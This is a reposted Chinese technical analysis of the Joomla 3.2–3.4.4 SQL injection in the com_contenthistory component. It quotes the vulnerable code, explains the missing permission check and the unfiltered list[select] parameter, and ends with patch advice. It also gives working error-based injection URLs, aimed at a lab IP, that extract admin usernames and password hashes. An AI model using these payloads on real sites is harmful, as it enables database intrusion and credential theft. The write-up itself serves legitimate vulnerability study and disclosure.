<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/papers/9979

            昨日,Joomla CMS發布新版本3.4.5,該版本修復了一個高危的SQL注入漏洞,3.2至3.4.4版本都受到影響。攻擊者通過該漏洞可以直接獲取獲取數據庫中敏感信息,甚至可以獲取已登陸的管理員會話直接進入網站后臺。

            0x01 原理分析


            在 Joomla CMS 中有一個查看歷史編輯版本的組件(com_contenthistory),該功能本應只有管理員才能訪問,但是由于開發人員的疏忽,導致該功能的訪問并不需要相應的權限。通過訪問 /index.php?option=com_contenthistory 可以使得服務端加載歷史版本處理組件。程序流程會轉到 /components/com_contenthistory/contenthistory.php 文件中:

            #!php
            <?php
            defined('_JEXEC') or die;    
            
            $lang = JFactory::getLanguage();
            $lang->load('com_contenthistory', JPATH_ADMINISTRATOR, null, false, true)
            ||    $lang->load('com_contenthistory', JPATH_SITE, null, false, true);    
            
            require_once JPATH_COMPONENT_ADMINISTRATOR . '/contenthistory.php';
            

            可以看到該組件加載時并沒有進行相關權限的監測,而 Joomla 中,一般的后臺調用組件 (/administrator/components/下的組件) 都會進行組件對應的權限檢查,例如后臺中的 com_contact 組件

            #!php
            if (!JFactory::getUser()->authorise('core.manage', 'com_contact'))
            {
                return JError::raiseWarning(404, JText::_('JERROR_ALERTNOAUTHOR'));
            }
            

            但是,程序在處理 contenthistory 組件時,并沒有進行一個權限檢查,程序初始化并設置好組件相關配置后,包含文件 /administrator/components/com_contenthistory/contenthistory.php,其內容如下:

            #!php
            <?php
            defined('_JEXEC') or die;    
            
            $controller = JControllerLegacy::getInstance('Contenthistory', array('base_path' => JPATH_COMPONENT_ADMINISTRATOR));
            $controller->execute(JFactory::getApplication()->input->get('task'));
            $controller->redirect();
            

            程序初始化基于 contenthistory 組件的控制類 JControllerLegacy,然后直接調用控制類的 execute() 方法,在 execute() 方法中,會調用其控制類中的 display(),代碼位于 /libraries/legacy/controller/legacy.php

            #!php
            public function display($cachable = false, $urlparams = array())
            {
                $document = JFactory::getDocument();
                $viewType = $document->getType();
                $viewName = $this->input->get('view', $this->default_view);
                $viewLayout = $this->input->get('layout', 'default', 'string');    
            
                $view = $this->getView($viewName, $viewType, '', array('base_path' => $this->basePath, 'layout' => $viewLayout));    
            
                // Get/Create the model
                if ($model = $this->getModel($viewName))
                {
                    // Push the model into the view (as default)
                    $view->setModel($model, true);
                }
                (...省略...)
                if ($cachable && $viewType != 'feed' && $conf->get('caching') >= 1)
                { (...省略...) }
                else
                {
                    $view->display();
                }    
            
                return $this;
            }
            

            處理程序從傳遞的參數中獲取 viewlayout 的參數值進行初始化視圖,并且調用 $model = $this->getModel($viewName) 加載對應數據模型,最終會調用 $view->display() 函數進行視圖處理。

            Joomla 新版本 3.4.5 中修復的SQL注入漏洞涉及的是歷史查看操作,也就是 view=history 時的程序處理會導致注入。在程序進行數據提取時,會進入 /administrator/components/com_contenthistory/models/history.php 文件中的 getListQuery() 函數:

            #!php
            protected function getListQuery()
            {
                // Create a new query object.
                $db = $this->getDbo();
                $query = $db->getQuery(true);    
            
                // Select the required fields from the table.
                $query->select(
                    $this->getState(
                        'list.select',
                        'h.version_id, h.ucm_item_id, h.ucm_type_id, h.version_note, h.save_date, h.editor_user_id,' .
                        'h.character_count, h.sha1_hash, h.version_data, h.keep_forever'
                    )
                )
                ->from($db->quoteName('#__ucm_history') . ' AS h')
                ->where($db->quoteName('h.ucm_item_id') . ' = ' . $this->getState('item_id'))
                ->where($db->quoteName('h.ucm_type_id') . ' = ' . $this->getState('type_id'))    
            
                // Join over the users for the editor
                ->select('uc.name AS editor')
                ->join('LEFT', '#__users AS uc ON uc.id = h.editor_user_id');    
            
                // Add the list ordering clause.
                $orderCol = $this->state->get('list.ordering');
                $orderDirn = $this->state->get('list.direction');
                $query->order($db->quoteName($orderCol) . $orderDirn);    
            
                return $query;
            }
            

            注意下面這段SQL語句構造部分:

            #!php
                $query->select(
                    $this->getState(
                        'list.select',
                        'h.version_id, h.ucm_item_id, h.ucm_type_id, h.version_note, h.save_date, h.editor_user_id,' .
                        'h.character_count, h.sha1_hash, h.version_data, h.keep_forever'
                    )
                )
                ->from($db->quoteName('#__ucm_history') . ' AS h')
                ->where($db->quoteName('h.ucm_item_id') . ' = ' . $this->getState('item_id'))
                ->where($db->quoteName('h.ucm_type_id') . ' = ' . $this->getState('type_id'))
            

            其中 getState() 函數用于獲取模型的屬性和其對應的值,其函數定義位于 /ibraries/legacy/model/legacy.php

            #!php
            public function getState($property = null, $default = null)
            {
                if (!$this->__state_set)
                {
                    // Protected method to auto-populate the model state.
                    $this->populateState();    
            
                    // Set the model state set flag to true.
                    $this->__state_set = true;
                }    
            
                return $property === null ? $this->state : $this->state->get($property, $default);
            }
            

            然后會調用 populateState() 函數來初始化參數值和提取并過濾某些參數,在 contenthistory 組建中定義有自己的 populateState() 函數:

            #!php
            protected function populateState($ordering = null, $direction = null)
            {
                (...省略...)
                // List state information.
                parent::populateState('h.save_date', 'DESC');
            }
            

            函數最后,會調用父類的 populateState() 函數,因為該數據模型繼承于 JModelList,所以父類相關代碼位于 /libraries/legacy/model/list.php 中,而在父類該函數的處理中會解析請求中傳遞的 list[] 參數,解析并過濾預設鍵的值,但是卻忽略了 list[select]

            #!php
            protected function populateState($ordering = null, $direction = null)
            {
                (...省略...)
                    // Receive & set list options
                    if ($list = $app->getUserStateFromRequest($this->context . '.list', 'list', array(), 'array'))
                    {
                        foreach ($list as $name => $value)
                        {
                            // Extra validations
                            switch ($name)
                            {
                                case 'fullordering':
                                    (...省略...)
                                case 'ordering':
                                    (...省略...)
                                case 'direction':
                                    (...省略...)
                                case 'limit':
                                    (...省略...)
                                default:
                                    $value = $value;
                                    break;
                            }    
            
                            $this->setState('list.' . $name, $value);
                        }
                    }
                (...省略...)
            

            而傳遞 list[select] 參數值最終會被解析到上述組件視圖進行處理時 SQL 語句構建中的 list.select 里,從而導致了注入。

            0x02 漏洞演示


            通過上面簡單的分析,已經知道了受影響的 Joomla 版本中,contenthistory 組件訪問不受權限的控制,并且當進行 view=history 請求時會解析請求參數中 list[select] 的值拼接到 SQL 語句中。下面是該漏洞的簡單驗證和利用方法。

            1.漏洞驗證

            http://http://172.16.96.130/xampp/Joomla-3.4.4/index.php?option=com_contenthistory&view=history&list[select]=1

            因為在進行 SQL 語句拼接的時候,獲取了 list.ordering 進行數據查詢中的 order 操作,若不提供默認會將其設置為數據進行處理,相關處理位于 /libraries/joomla/database/driver.php 的 quoteName() 函數中。

            因此,訪問上述構造的URL,服務器會報錯:

            2.漏洞利用

            因為在 SQL 語句拼接時,程序框架針對每個 from 或者 where 操作進行了換行處理,所以這里并不能使用 #-- 等符號來注釋掉后面的語句,只能通過報錯注入進行數據提取。但是語句的成功執行有一定的前提條件,也就是傳遞的 item_idtype_id 參數值必須于數據庫中有效,同時傳遞 list[ordering] 參數 (空值即可),這樣注入的語句才能夠得到執行,從而進行報錯注入。

            這里經過多個漏洞站點的測試可以簡單的使用 item_id=1&type_id=1,當然了為了準確性和有效性,可以通過爆破的方式來得到這兩個參數的有效值,然后再進行注入操作。

            (Tips:Joomla 中構造的 SQL 語句中 #_ 最終會在執行前被替換為表前綴)

            下面是獲取用戶名/密碼哈希的漏洞演示過程:

            http://http://172.16.96.130/xampp/Joomla-3.4.4/index.php?option=com_contenthistory&view=history&item_id=1&type_id=1&list[ordering]&list[select]=(select 1 from (select count(),concat((select username from %23__users limit 0,1),floor(rand(0)2)) from information_schema.tables group by 2)x)

            http://172.16.96.130/xampp/Joomla-3.4.4/index.php?option=com_contenthistory&view=history&item_id=1&type_id=1&list[ordering]&list[select]=(select 1 from (select count(),concat((select password from %23__users limit 0,1),floor(rand(0)2)) from information_schema.tables group by 2)x)

            0x03 修復方案


            1. https://github.com/joomla/joomla-cms/releases 獲取最新版本進行重新安裝;
            2. https://github.com/joomla/joomla-cms/releases 下載相應版本的補丁程序進行升級;

            0x04 總結


            就 Joomla CMS 的用戶量來看,目前還有大量的站點的數據正受到該漏洞的威脅。該漏洞的產生本質上是由于訪問控制的缺失和過濾不嚴格造成。訪問控制的缺失導致本應只有管理員才能進行訪問和加載的 contenthistory 組件能夠被任意用戶訪問和加載,而參數的過濾不嚴格,導致攻擊者能夠構造出惡意的參數到執行流中產生注入。

            0x05 參考

            原文地址:http://blog.knownsec.com/2015/10/joomla-cms-3-2-3-4-4-sql-injection-vulnerability/

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线